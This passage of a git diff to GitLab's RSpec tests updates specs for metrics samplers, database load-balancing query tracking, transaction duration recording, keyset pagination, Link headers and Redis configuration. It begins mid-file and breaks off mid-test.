- subject { described_class.new(1.second) }
-
- it_behaves_like 'metrics sampler', 'UNICORN_SAMPLER'
-
- describe '#sample' do
- let(:unicorn) { Module.new }
- let(:raindrops) { double('raindrops') }
- let(:stats) { double('stats') }
-
- before do
- stub_const('Unicorn', unicorn)
- stub_const('Raindrops::Linux', raindrops)
- allow(raindrops).to receive(:unix_listener_stats).and_return({})
- allow(raindrops).to receive(:tcp_listener_stats).and_return({})
- end
-
- context 'unicorn listens on unix sockets' do
- let(:socket_address) { '/some/sock' }
- let(:sockets) { [socket_address] }
-
- before do
- allow(unicorn).to receive(:listener_names).and_return(sockets)
- end
-
- it 'samples socket data' do
- expect(raindrops).to receive(:unix_listener_stats).with(sockets)
-
- subject.sample
- end
-
- context 'stats collected' do
- before do
- allow(stats).to receive(:active).and_return('active')
- allow(stats).to receive(:queued).and_return('queued')
- allow(raindrops).to receive(:unix_listener_stats).and_return({ socket_address => stats })
- end
-
- it 'updates metrics type unix and with addr' do
- labels = { socket_type: 'unix', socket_address: socket_address }
-
- expect(subject.metrics[:unicorn_active_connections]).to receive(:set).with(labels, 'active')
- expect(subject.metrics[:unicorn_queued_connections]).to receive(:set).with(labels, 'queued')
-
- subject.sample
- end
- end
- end
-
- context 'unicorn listens on tcp sockets' do
- let(:tcp_socket_address) { '0.0.0.0:8080' }
- let(:tcp_sockets) { [tcp_socket_address] }
-
- before do
- allow(unicorn).to receive(:listener_names).and_return(tcp_sockets)
- end
-
- it 'samples socket data' do
- expect(raindrops).to receive(:tcp_listener_stats).with(tcp_sockets)
-
- subject.sample
- end
-
- context 'stats collected' do
- before do
- allow(stats).to receive(:active).and_return('active')
- allow(stats).to receive(:queued).and_return('queued')
- allow(raindrops).to receive(:tcp_listener_stats).and_return({ tcp_socket_address => stats })
- end
-
- it 'updates metrics type unix and with addr' do
- labels = { socket_type: 'tcp', socket_address: tcp_socket_address }
-
- expect(subject.metrics[:unicorn_active_connections]).to receive(:set).with(labels, 'active')
- expect(subject.metrics[:unicorn_queued_connections]).to receive(:set).with(labels, 'queued')
-
- subject.sample
- end
- end
- end
-
- context 'unicorn workers' do
- before do
- allow(unicorn).to receive(:listener_names).and_return([])
- end
-
- context 'without http server' do
- it "does set unicorn_workers to 0" do
- expect(subject.metrics[:unicorn_workers]).to receive(:set).with({}, 0)
-
- subject.sample
- end
- end
-
- context 'with http server' do
- let(:http_server_class) { Struct.new(:worker_processes) }
- let!(:http_server) { http_server_class.new(5) }
-
- before do
- stub_const('Unicorn::HttpServer', http_server_class)
- end
-
- it "sets additional metrics" do
- expect(subject.metrics[:unicorn_workers]).to receive(:set).with({}, 5)
-
- subject.sample
- end
- end
- end
- end
-
- describe '#start' do
- context 'when enabled' do
- before do
- allow(subject).to receive(:enabled?).and_return(true)
- end
-
- it 'creates new thread' do
- expect(Thread).to receive(:new)
-
- subject.start
- end
- end
-
- context 'when disabled' do
- before do
- allow(subject).to receive(:enabled?).and_return(false)
- end
-
- it "doesn't create new thread" do
- expect(Thread).not_to receive(:new)
-
- subject.start
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
index 6bfcfa21289..cffa62c3a52 100644
--- a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
@@ -150,4 +150,140 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
it_behaves_like 'track generic sql events'
end
end
+
+ context 'Database Load Balancing enabled' do
+ let(:payload) { { sql: 'SELECT * FROM users WHERE id = 10', connection: connection } }
+
+ let(:event) do
+ double(
+ :event,
+ name: 'sql.active_record',
+ duration: 2,
+ payload: payload
+ )
+ end
+
+ # Emulate Marginalia pre-pending comments
+ def sql(query, comments: true)
+ if comments && !%w[BEGIN COMMIT].include?(query)
+ "/*application:web,controller:badges,action:pipeline,correlation_id:01EYN39K9VMJC56Z7808N7RSRH*/ #{query}"
+ else
+ query
+ end
+ end
+
+ shared_examples 'track sql events for each role' do
+ where(:name, :sql_query, :record_query, :record_write_query, :record_cached_query, :record_wal_query) do
+ 'SQL' | 'SELECT * FROM users WHERE id = 10' | true | false | false | false
+ 'SQL' | 'WITH active_milestones AS (SELECT COUNT(*), state FROM milestones GROUP BY state) SELECT * FROM active_milestones' | true | false | false | false
+ 'SQL' | 'SELECT * FROM users WHERE id = 10 FOR UPDATE' | true | true | false | false
+ 'SQL' | 'WITH archived_rows AS (SELECT * FROM users WHERE archived = true) INSERT INTO products_log SELECT * FROM archived_rows' | true | true | false | false
+ 'SQL' | 'DELETE FROM users where id = 10' | true | true | false | false
+ 'SQL' | 'INSERT INTO project_ci_cd_settings (project_id) SELECT id FROM projects' | true | true | false | false
+ 'SQL' | 'UPDATE users SET admin = true WHERE id = 10' | true | true | false | false
+ 'SQL' | 'SELECT pg_current_wal_insert_lsn()::text AS location' | true | false | false | true
+ 'SQL' | 'SELECT pg_last_wal_replay_lsn()::text AS location' | true | false | false | true
+ 'CACHE' | 'SELECT * FROM users WHERE id = 10' | true | false | true | false
+ 'SCHEMA' | "SELECT attr.attname FROM pg_attribute attr INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey) WHERE cons.contype = 'p' AND cons.conrelid = '\"projects\"'::regclass" | false | false | false | false
+ nil | 'BEGIN' | false | false | false | false
+ nil | 'COMMIT' | false | false | false | false
+ end
+
+ with_them do
+ let(:payload) { { name: name, sql: sql(sql_query, comments: comments), connection: connection } }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ context 'query using a connection to a replica' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).and_return(:replica)
+ end
+
+ it 'queries connection db role' do
+ subscriber.sql(event)
+
+ if record_query
+ expect(Gitlab::Database::LoadBalancing).to have_received(:db_role_for_connection).with(connection)
+ end
+ end
+
+ it_behaves_like 'record ActiveRecord metrics', :replica
+ it_behaves_like 'store ActiveRecord info in RequestStore', :replica
+ end
+
+ context 'query using a connection to a primary' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).and_return(:primary)
+ end
+
+ it 'queries connection db role' do
+ subscriber.sql(event)
+
+ if record_query
+ expect(Gitlab::Database::LoadBalancing).to have_received(:db_role_for_connection).with(connection)
+ end
+ end
+
+ it_behaves_like 'record ActiveRecord metrics', :primary
+ it_behaves_like 'store ActiveRecord info in RequestStore', :primary
+ end
+
+ context 'query using a connection to an unknown source' do
+ let(:transaction) { double('Gitlab::Metrics::WebTransaction') }
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:db_role_for_connection).and_return(nil)
+
+ allow(::Gitlab::Metrics::WebTransaction).to receive(:current).and_return(transaction)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(nil)
+
+ allow(transaction).to receive(:increment)
+ allow(transaction).to receive(:observe)
+ end
+
+ it 'does not record DB role metrics' do
+ expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_primary_count_total".to_sym, any_args)
+ expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_replica_count_total".to_sym, any_args)
+
+ expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_primary_cached_count_total".to_sym, any_args)
+ expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_replica_cached_count_total".to_sym, any_args)
+
+ expect(transaction).not_to receive(:observe).with("gitlab_sql_primary_duration_seconds".to_sym, any_args)
+ expect(transaction).not_to receive(:observe).with("gitlab_sql_replica_duration_seconds".to_sym, any_args)
+
+ subscriber.sql(event)
+ end
+
+ it 'does not store DB roles into into RequestStore' do
+ Gitlab::WithRequestStore.with_request_store do
+ subscriber.sql(event)
+
+ expect(described_class.db_counter_payload).to include(
+ db_primary_cached_count: 0,
+ db_primary_count: 0,
+ db_primary_duration_s: 0,
+ db_replica_cached_count: 0,
+ db_replica_count: 0,
+ db_replica_duration_s: 0
+ )
+ end
+ end
+ end
+ end
+ end
+
+ context 'without Marginalia comments' do
+ let(:comments) { false }
+
+ it_behaves_like 'track sql events for each role'
+ end
+
+ context 'with Marginalia comments' do
+ let(:comments) { true }
+
+ it_behaves_like 'track sql events for each role'
+ end
+ end
end
diff --git a/spec/lib/gitlab/metrics/transaction_spec.rb b/spec/lib/gitlab/metrics/transaction_spec.rb
index d4e5a1a94f2..2ff8efcd7cb 100644
--- a/spec/lib/gitlab/metrics/transaction_spec.rb
+++ b/spec/lib/gitlab/metrics/transaction_spec.rb
@@ -12,32 +12,6 @@ RSpec.describe Gitlab::Metrics::Transaction do
}
end
- describe '#duration' do
- it 'returns the duration of a transaction in seconds' do
- transaction.run { }
-
- expect(transaction.duration).to be > 0
- end
- end
-
- describe '#run' do
- it 'yields the supplied block' do
- expect { |b| transaction.run(&b) }.to yield_control
- end
-
- it 'stores the transaction in the current thread' do
- transaction.run do
- expect(described_class.current).to eq(transaction)
- end
- end
-
- it 'removes the transaction from the current thread upon completion' do
- transaction.run { }
-
- expect(described_class.current).to be_nil
- end
- end
-
describe '#method_call_for' do
it 'returns a MethodCall' do
method = transaction.method_call_for('Foo#bar', :Foo, '#bar')
@@ -46,6 +20,10 @@ RSpec.describe Gitlab::Metrics::Transaction do
end
end
+ describe '#run' do
+ specify { expect { transaction.run }.to raise_error(NotImplementedError) }
+ end
+
describe '#add_event' do
let(:prometheus_metric) { instance_double(Prometheus::Client::Counter, increment: nil, base_labels: {}) }
diff --git a/spec/lib/gitlab/metrics/web_transaction_spec.rb b/spec/lib/gitlab/metrics/web_transaction_spec.rb
index 6ee9564ef75..5261d04c879 100644
--- a/spec/lib/gitlab/metrics/web_transaction_spec.rb
+++ b/spec/lib/gitlab/metrics/web_transaction_spec.rb
@@ -38,16 +38,6 @@ RSpec.describe Gitlab::Metrics::WebTransaction do
end
end
- describe '#duration' do
- include_context 'transaction observe metrics'
-
- it 'returns the duration of a transaction in seconds' do
- transaction.run { sleep(0.5) }
-
- expect(transaction.duration).to be >= 0.5
- end
- end
-
describe '#run' do
include_context 'transaction observe metrics'
@@ -58,6 +48,9 @@ RSpec.describe Gitlab::Metrics::WebTransaction do
it 'stores the transaction in the current thread' do
transaction.run do
expect(Thread.current[described_class::THREAD_KEY]).to eq(transaction)
+ expect(described_class.current).to eq(transaction)
+
+ ['200', {}, '']
end
end
@@ -65,6 +58,33 @@ RSpec.describe Gitlab::Metrics::WebTransaction do
transaction.run { }
expect(Thread.current[described_class::THREAD_KEY]).to be_nil
+ expect(described_class.current).to be_nil
+ end
+
+ it 'records the duration of the transaction if the request was successful' do
+ expect(transaction).to receive(:observe).with(:gitlab_transaction_duration_seconds, instance_of(Float))
+
+ transaction.run { ['200', {}, ''] }
+ end
+
+ it 'does not record the duration of the transaction if the request failed' do
+ expect(transaction).not_to receive(:observe).with(:gitlab_transaction_duration_seconds, instance_of(Float))
+
+ transaction.run { ['500', {}, ''] }
+ end
+
+ it 'does not record the duration of the transaction if it raised' do
+ expect(transaction).not_to receive(:observe).with(:gitlab_transaction_duration_seconds, instance_of(Float))
+
+ expect do
+ transaction.run { raise 'broken' }
+ end.to raise_error('broken')
+ end
+
+ it 'returns the rack response' do
+ response = ['500', {}, '']
+
+ expect(transaction.run { response }).to eq(response)
end
end
diff --git a/spec/lib/gitlab/metrics_spec.rb b/spec/lib/gitlab/metrics_spec.rb
index db5a23e2328..366843a4c03 100644
--- a/spec/lib/gitlab/metrics_spec.rb
+++ b/spec/lib/gitlab/metrics_spec.rb
@@ -92,6 +92,26 @@ RSpec.describe Gitlab::Metrics do
end
end
+ describe '.record_status_for_duration?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:status, :should_record) do
+ 100 | false
+ 200 | true
+ 401 | true
+ nil | false
+ 500 | false
+ 503 | false
+ '100' | false
+ '201' | true
+ 'nothing' | false
+ end
+
+ with_them do
+ specify { expect(described_class.record_duration_for_status?(status)).to be(should_record) }
+ end
+ end
+
describe '.add_event' do
context 'without a transaction' do
it 'does nothing' do
diff --git a/spec/lib/gitlab/nav/top_nav_menu_item_spec.rb b/spec/lib/gitlab/nav/top_nav_menu_item_spec.rb
index 26f9ea3a637..966b23bf51a 100644
--- a/spec/lib/gitlab/nav/top_nav_menu_item_spec.rb
+++ b/spec/lib/gitlab/nav/top_nav_menu_item_spec.rb
@@ -11,10 +11,10 @@ RSpec.describe ::Gitlab::Nav::TopNavMenuItem do
active: true,
icon: 'icon',
href: 'href',
- method: 'method',
view: 'view',
css_class: 'css_class',
- data: {}
+ data: {},
+ emoji: 'smile'
}
expect(described_class.build(**item)).to eq(item)
diff --git a/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb b/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
index 132a0e9ca78..8a26e153385 100644
--- a/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
+++ b/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
@@ -108,7 +108,6 @@ RSpec.describe Gitlab::Pagination::GitalyKeysetPager do
let(:expected_next_page_link) { %Q(<#{incoming_api_projects_url}?#{query.merge(page_token: branch2.name).to_query}>; rel="next") }
it 'uses keyset pagination and adds link headers' do
- expect(request_context).to receive(:header).with('Links', expected_next_page_link)
expect(request_context).to receive(:header).with('Link', expected_next_page_link)
pager.paginate(finder)
@@ -119,7 +118,6 @@ RSpec.describe Gitlab::Pagination::GitalyKeysetPager do
let(:branches) { [branch1] }
it 'uses keyset pagination without link headers' do
- expect(request_context).not_to receive(:header).with('Links', anything)
expect(request_context).not_to receive(:header).with('Link', anything)
pager.paginate(finder)
diff --git a/spec/lib/gitlab/pagination/keyset/paginator_spec.rb b/spec/lib/gitlab/pagination/keyset/paginator_spec.rb
new file mode 100644
index 00000000000..3c9a8913876
--- /dev/null
+++ b/spec/lib/gitlab/pagination/keyset/paginator_spec.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Pagination::Keyset::Paginator do
+ let_it_be(:project_1) { create(:project, created_at: 10.weeks.ago) }
+ let_it_be(:project_2) { create(:project, created_at: 2.weeks.ago) }
+ let_it_be(:project_3) { create(:project, created_at: 3.weeks.ago) }
+ let_it_be(:project_4) { create(:project, created_at: 5.weeks.ago) }
+ let_it_be(:project_5) { create(:project, created_at: 2.weeks.ago) }
+
+ describe 'pagination' do
+ let(:per_page) { 10 }
+ let(:cursor) { nil }
+ let(:scope) { Project.order(created_at: :asc, id: :asc) }
+ let(:expected_order) { [project_1, project_4, project_3, project_2, project_5] }
+
+ subject(:paginator) { scope.keyset_paginate(cursor: cursor, per_page: per_page) }
+
+ context 'when per_page is greater than the record count' do
+ it { expect(paginator.records).to eq(expected_order) }
+ it { is_expected.not_to have_next_page }
+ it { is_expected.not_to have_previous_page }
+
+ it 'has no next and previous cursor values' do
+ expect(paginator.cursor_for_next_page).to be_nil
+ expect(paginator.cursor_for_previous_page).to be_nil
+ end
+ end
+
+ context 'when 0 records are returned' do
+ let(:scope) { Project.where(id: non_existing_record_id).order(created_at: :asc, id: :asc) }
+
+ it { expect(paginator.records).to be_empty }
+ it { is_expected.not_to have_next_page }
+ it { is_expected.not_to have_previous_page }
+ end
+
+ context 'when page size is smaller than the record count' do
+ let(:per_page) { 2 }
+
+ it { expect(paginator.records).to eq(expected_order.first(2)) }
+ it { is_expected.to have_next_page }
+ it { is_expected.not_to have_previous_page }
+
+ it 'has next page cursor' do
+ expect(paginator.cursor_for_next_page).not_to be_nil
+ end
+
+ it 'does not have previous page cursor' do
+ expect(paginator.cursor_for_previous_page).to be_nil
+ end
+
+ context 'when on the second page' do
+ let(:cursor) { scope.keyset_paginate(per_page: per_page).cursor_for_next_page }
+
+ it { expect(paginator.records).to eq(expected_order[2...4]) }
+ it { is_expected.to have_next_page }
+ it { is_expected.to have_previous_page }
+
+ context 'and then going back to the first page' do
+ let(:previous_page_cursor) { scope.keyset_paginate(cursor: cursor, per_page: per_page).cursor_for_previous_page }
+
+ subject(:paginator) { scope.keyset_paginate(cursor: previous_page_cursor, per_page: per_page) }
+
+ it { expect(paginator.records).to eq(expected_order.first(2)) }
+ it { is_expected.to have_next_page }
+ it { is_expected.not_to have_previous_page }
+ end
+ end
+
+ context 'when jumping to the last page' do
+ let(:cursor) { scope.keyset_paginate(per_page: per_page).cursor_for_last_page }
+
+ it { expect(paginator.records).to eq(expected_order.last(2)) }
+ it { is_expected.not_to have_next_page }
+ it { is_expected.to have_previous_page }
+
+ context 'when paginating backwards' do
+ let(:previous_page_cursor) { scope.keyset_paginate(cursor: cursor, per_page: per_page).cursor_for_previous_page }
+
+ subject(:paginator) { scope.keyset_paginate(cursor: previous_page_cursor, per_page: per_page) }
+
+ it { expect(paginator.records).to eq(expected_order[-4...-2]) }
+ it { is_expected.to have_next_page }
+ it { is_expected.to have_previous_page }
+ end
+
+ context 'when jumping to the first page' do
+ let(:first_page_cursor) { scope.keyset_paginate(cursor: cursor, per_page: per_page).cursor_for_first_page }
+
+ subject(:paginator) { scope.keyset_paginate(cursor: first_page_cursor, per_page: per_page) }
+
+ it { expect(paginator.records).to eq(expected_order.first(2)) }
+ it { is_expected.to have_next_page }
+ it { is_expected.not_to have_previous_page }
+ end
+ end
+ end
+
+ describe 'default keyset direction parameter' do
+ let(:cursor_converter_class) { Gitlab::Pagination::Keyset::Paginator::Base64CursorConverter }
+ let(:per_page) { 2 }
+
+ it 'exposes the direction parameter in the cursor' do
+ cursor = paginator.cursor_for_next_page
+
+ expect(cursor_converter_class.parse(cursor)[:_kd]).to eq(described_class::FORWARD_DIRECTION)
+ end
+ end
+ end
+
+ context 'when unsupported order is given' do
+ it 'raises error' do
+ scope = Project.order(path: :asc, name: :asc, id: :desc) # Cannot build 3 column order automatically
+
+ expect { scope.keyset_paginate }.to raise_error(/does not support keyset pagination/)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/pagination/keyset/request_context_spec.rb b/spec/lib/gitlab/pagination/keyset/request_context_spec.rb
index d4255176a4e..619d8cca28c 100644
--- a/spec/lib/gitlab/pagination/keyset/request_context_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/request_context_spec.rb
@@ -57,14 +57,15 @@ RSpec.describe Gitlab::Pagination::Keyset::RequestContext do
subject { described_class.new(request_context).apply_headers(next_page) }
- it 'sets Links header with same host/path as the original request' do
+ it 'sets Link header with same host/path as the original request' do
orig_uri = URI.parse(request_context.request.url)
- expect(request_context).to receive(:header).twice do |name, header|
+ expect(request_context).to receive(:header).once do |name, header|
first_link, _ = /<([^>]+)>; rel="next"/.match(header).captures
uri = URI.parse(first_link)
+ expect(name).to eq('Link')
expect(uri.host).to eq(orig_uri.host)
expect(uri.path).to eq(orig_uri.path)
end
@@ -72,14 +73,15 @@ RSpec.describe Gitlab::Pagination::Keyset::RequestContext do
subject
end
- it 'sets Links header with a link to the next page' do
+ it 'sets Link header with a link to the next page' do
orig_uri = URI.parse(request_context.request.url)
- expect(request_context).to receive(:header).twice do |name, header|
+ expect(request_context).to receive(:header).once do |name, header|
first_link, _ = /<([^>]+)>; rel="next"/.match(header).captures
query = CGI.parse(URI.parse(first_link).query)
+ expect(name).to eq('Link')
expect(query.except('id_after')).to eq(CGI.parse(orig_uri.query).except('id_after'))
expect(query['id_after']).to eq(['42'])
end
@@ -90,14 +92,15 @@ RSpec.describe Gitlab::Pagination::Keyset::RequestContext do
context 'with descending order' do
let(:next_page) { double('next page', order_by: { id: :desc }, lower_bounds: { id: 42 }) }
- it 'sets Links header with a link to the next page' do
+ it 'sets Link header with a link to the next page' do
orig_uri = URI.parse(request_context.request.url)
- expect(request_context).to receive(:header).twice do |name, header|
+ expect(request_context).to receive(:header).once do |name, header|
first_link, _ = /<([^>]+)>; rel="next"/.match(header).captures
query = CGI.parse(URI.parse(first_link).query)
+ expect(name).to eq('Link')
expect(query.except('id_before')).to eq(CGI.parse(orig_uri.query).except('id_before'))
expect(query['id_before']).to eq(['42'])
end
diff --git a/spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb b/spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb
deleted file mode 100644
index ca74f7573f3..00000000000
--- a/spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Patch::ActionDispatchJourneyFormatter do
- let(:group) { create(:group) }
- let(:project) { create(:project, namespace: group) }
- let(:pipeline) { create(:ci_empty_pipeline, project: project) }
- let(:url) { Gitlab::Routing.url_helpers.project_pipeline_url(project, pipeline) }
- let(:expected_path) { "#{project.full_path}/-/pipelines/#{pipeline.id}" }
-
- context 'custom implementation of #missing_keys' do
- before do
- expect_any_instance_of(Gitlab::Patch::ActionDispatchJourneyFormatter).to receive(:missing_keys)
- end
-
- it 'generates correct url' do
- expect(url).to end_with(expected_path)
- end
- end
-
- context 'original implementation of #missing_keys' do
- before do
- allow_any_instance_of(Gitlab::Patch::ActionDispatchJourneyFormatter).to receive(:missing_keys) do |instance, route, parts|
- instance.send(:old_missing_keys, route, parts) # test the old implementation
- end
- end
-
- it 'generates correct url' do
- expect(url).to end_with(expected_path)
- end
- end
-end
diff --git a/spec/lib/gitlab/path_regex_spec.rb b/spec/lib/gitlab/path_regex_spec.rb
index cd89674af0f..54c866b4a6d 100644
--- a/spec/lib/gitlab/path_regex_spec.rb
+++ b/spec/lib/gitlab/path_regex_spec.rb
@@ -113,7 +113,7 @@ RSpec.describe Gitlab::PathRegex do
let(:deprecated_routes) do
# profile was deprecated in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51646
- %w(profile)
+ %w(profile s)
end
let(:ee_top_level_words) do
@@ -183,7 +183,7 @@ RSpec.describe Gitlab::PathRegex do
# We ban new items in this list, see https://gitlab.com/gitlab-org/gitlab/-/issues/215362
it 'does not allow expansion' do
- expect(described_class::TOP_LEVEL_ROUTES.size).to eq(44)
+ expect(described_class::TOP_LEVEL_ROUTES.size).to eq(40)
end
end
diff --git a/spec/lib/gitlab/profiler_spec.rb b/spec/lib/gitlab/profiler_spec.rb
index 48e2a2e9794..5187c96b511 100644
--- a/spec/lib/gitlab/profiler_spec.rb
+++ b/spec/lib/gitlab/profiler_spec.rb
@@ -206,8 +206,12 @@ RSpec.describe Gitlab::Profiler do
end
end
- before do
- stub_const('STDOUT', stdout)
+ around do |example|
+ original_stdout = $stdout
+
+ $stdout = stdout # rubocop: disable RSpec/ExpectOutput
+ example.run
+ $stdout = original_stdout # rubocop: disable RSpec/ExpectOutput
end
it 'prints a profile result sorted by total time' do
diff --git a/spec/lib/gitlab/project_search_results_spec.rb b/spec/lib/gitlab/project_search_results_spec.rb
index a76ad1f6f4c..2f28b8dfce0 100644
--- a/spec/lib/gitlab/project_search_results_spec.rb
+++ b/spec/lib/gitlab/project_search_results_spec.rb
@@ -549,30 +549,39 @@ RSpec.describe Gitlab::ProjectSearchResults do
describe 'user search' do
let(:query) { 'gob' }
- let(:group) { create(:group) }
- let(:project) { create(:project, namespace: group) }
+
+ let_it_be(:user_1) { create(:user, username: 'gob_bluth') }
+ let_it_be(:user_2) { create(:user, username: 'michael_bluth') }
+ let_it_be(:user_3) { create(:user, username: 'gob_2018') }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, namespace: group) }
subject(:objects) { results.objects('users') }
it 'returns the user belonging to the project matching the search query' do
- user1 = create(:user, username: 'gob_bluth')
- create(:project_member, :developer, user: user1, project: project)
+ create(:project_member, :developer, user: user_1, project: project)
+ create(:project_member, :developer, user: user_2, project: project)
- user2 = create(:user, username: 'michael_bluth')
- create(:project_member, :developer, user: user2, project: project)
+ expect(objects).to contain_exactly(user_1)
+ end
- create(:user, username: 'gob_2018')
+ it 'returns the user belonging to the group matching the search query' do
+ create(:group_member, :developer, user: user_1, group: group)
- expect(objects).to contain_exactly(user1)
+ expect(objects).to contain_exactly(user_1)
end
- it 'returns the user belonging to the group matching the search query' do
- user1 = create(:user, username: 'gob_bluth')
- create(:group_member, :developer, user: user1, group: group)
+ context 'when multiple projects provided' do
+ let_it_be(:project_2) { create(:project, namespace: group) }
+
+ subject(:results) { described_class.new(user, query, project: [project, project_2], repository_ref: repository_ref, filters: filters) }
- create(:user, username: 'gob_2018')
+ it 'returns users belonging to projects matching the search query' do
+ create(:project_member, :developer, user: user_1, project: project)
+ create(:project_member, :developer, user: user_3, project: project_2)
- expect(objects).to contain_exactly(user1)
+ expect(objects).to contain_exactly(user_1, user_3)
+ end
end
end
end
diff --git a/spec/lib/gitlab/prometheus/adapter_spec.rb b/spec/lib/gitlab/prometheus/adapter_spec.rb
index 259202178a2..1eaed65c805 100644
--- a/spec/lib/gitlab/prometheus/adapter_spec.rb
+++ b/spec/lib/gitlab/prometheus/adapter_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Gitlab::Prometheus::Adapter do
end
context 'with cluster with prometheus available' do
- let!(:prometheus) { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
it 'returns prometheus service' do
expect(subject.prometheus_adapter).to eq(prometheus_service)
@@ -32,16 +32,12 @@ RSpec.describe Gitlab::Prometheus::Adapter do
context "prometheus service can't execute queries" do
let(:prometheus_service) { double(:prometheus_service, can_query?: false) }
- context 'with cluster with prometheus integration' do
- let!(:prometheus_integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
-
- it 'returns the integration' do
- expect(subject.prometheus_adapter).to eq(prometheus_integration)
- end
+ before do
+ allow(project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
end
- context 'with cluster with prometheus not available' do
- let!(:prometheus) { create(:clusters_applications_prometheus, :installable, cluster: cluster) }
+ context 'with cluster with prometheus disabled' do
+ let!(:prometheus) { create(:clusters_integrations_prometheus, enabled: false, cluster: cluster) }
it 'returns nil' do
expect(subject.prometheus_adapter).to be_nil
@@ -49,19 +45,11 @@ RSpec.describe Gitlab::Prometheus::Adapter do
end
context 'with cluster with prometheus available' do
- let!(:prometheus) { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
it 'returns application handling all environments' do
expect(subject.prometheus_adapter).to eq(prometheus)
end
-
- context 'with cluster with prometheus integration' do
- let!(:prometheus_integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
-
- it 'returns the application' do
- expect(subject.prometheus_adapter).to eq(prometheus)
- end
- end
end
context 'with cluster without prometheus installed' do
diff --git a/spec/lib/gitlab/redis/cache_spec.rb b/spec/lib/gitlab/redis/cache_spec.rb
index 5f73b84288d..31141ac1139 100644
--- a/spec/lib/gitlab/redis/cache_spec.rb
+++ b/spec/lib/gitlab/redis/cache_spec.rb
@@ -3,20 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::Redis::Cache do
- let(:config_file_name) { "config/redis.cache.yml" }
+ let(:instance_specific_config_file) { "config/redis.cache.yml" }
let(:environment_config_file_name) { "GITLAB_REDIS_CACHE_CONFIG_FILE" }
- let(:config_old_format_socket) { "spec/fixtures/config/redis_cache_old_format_socket.yml" }
- let(:config_new_format_socket) { "spec/fixtures/config/redis_cache_new_format_socket.yml" }
- let(:old_socket_path) {"/path/to/old/redis.cache.sock" }
- let(:new_socket_path) {"/path/to/redis.cache.sock" }
- let(:config_old_format_host) { "spec/fixtures/config/redis_cache_old_format_host.yml" }
- let(:config_new_format_host) { "spec/fixtures/config/redis_cache_new_format_host.yml" }
- let(:redis_port) { 6380 }
- let(:redis_database) { 10 }
- let(:sentinel_port) { redis_port + 20000 }
- let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_cache_config_with_env.yml"}
- let(:config_env_variable_url) {"TEST_GITLAB_REDIS_CACHE_URL"}
- let(:class_redis_url) { Gitlab::Redis::Cache::DEFAULT_REDIS_CACHE_URL }
include_examples "redis_shared_examples"
+
+ describe '#raw_config_hash' do
+ it 'has a legacy default URL' do
+ expect(subject).to receive(:fetch_config) { false }
+
+ expect(subject.send(:raw_config_hash)).to eq(url: 'redis://localhost:6380' )
+ end
+ end
end
diff --git a/spec/lib/gitlab/redis/queues_spec.rb b/spec/lib/gitlab/redis/queues_spec.rb
index 8a32c991943..2e396cde3bf 100644
--- a/spec/lib/gitlab/redis/queues_spec.rb
+++ b/spec/lib/gitlab/redis/queues_spec.rb
@@ -3,20 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::Redis::Queues do
- let(:config_file_name) { "config/redis.queues.yml" }
+ let(:instance_specific_config_file) { "config/redis.queues.yml" }
let(:environment_config_file_name) { "GITLAB_REDIS_QUEUES_CONFIG_FILE" }
- let(:config_old_format_socket) { "spec/fixtures/config/redis_queues_old_format_socket.yml" }
- let(:config_new_format_socket) { "spec/fixtures/config/redis_queues_new_format_socket.yml" }
- let(:old_socket_path) {"/path/to/old/redis.queues.sock" }
- let(:new_socket_path) {"/path/to/redis.queues.sock" }
- let(:config_old_format_host) { "spec/fixtures/config/redis_queues_old_format_host.yml" }
- let(:config_new_format_host) { "spec/fixtures/config/redis_queues_new_format_host.yml" }
- let(:redis_port) { 6381 }
- let(:redis_database) { 11 }
- let(:sentinel_port) { redis_port + 20000 }
- let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_queues_config_with_env.yml"}
- let(:config_env_variable_url) {"TEST_GITLAB_REDIS_QUEUES_URL"}
- let(:class_redis_url) { Gitlab::Redis::Queues::DEFAULT_REDIS_QUEUES_URL }
include_examples "redis_shared_examples"
+
+ describe '#raw_config_hash' do
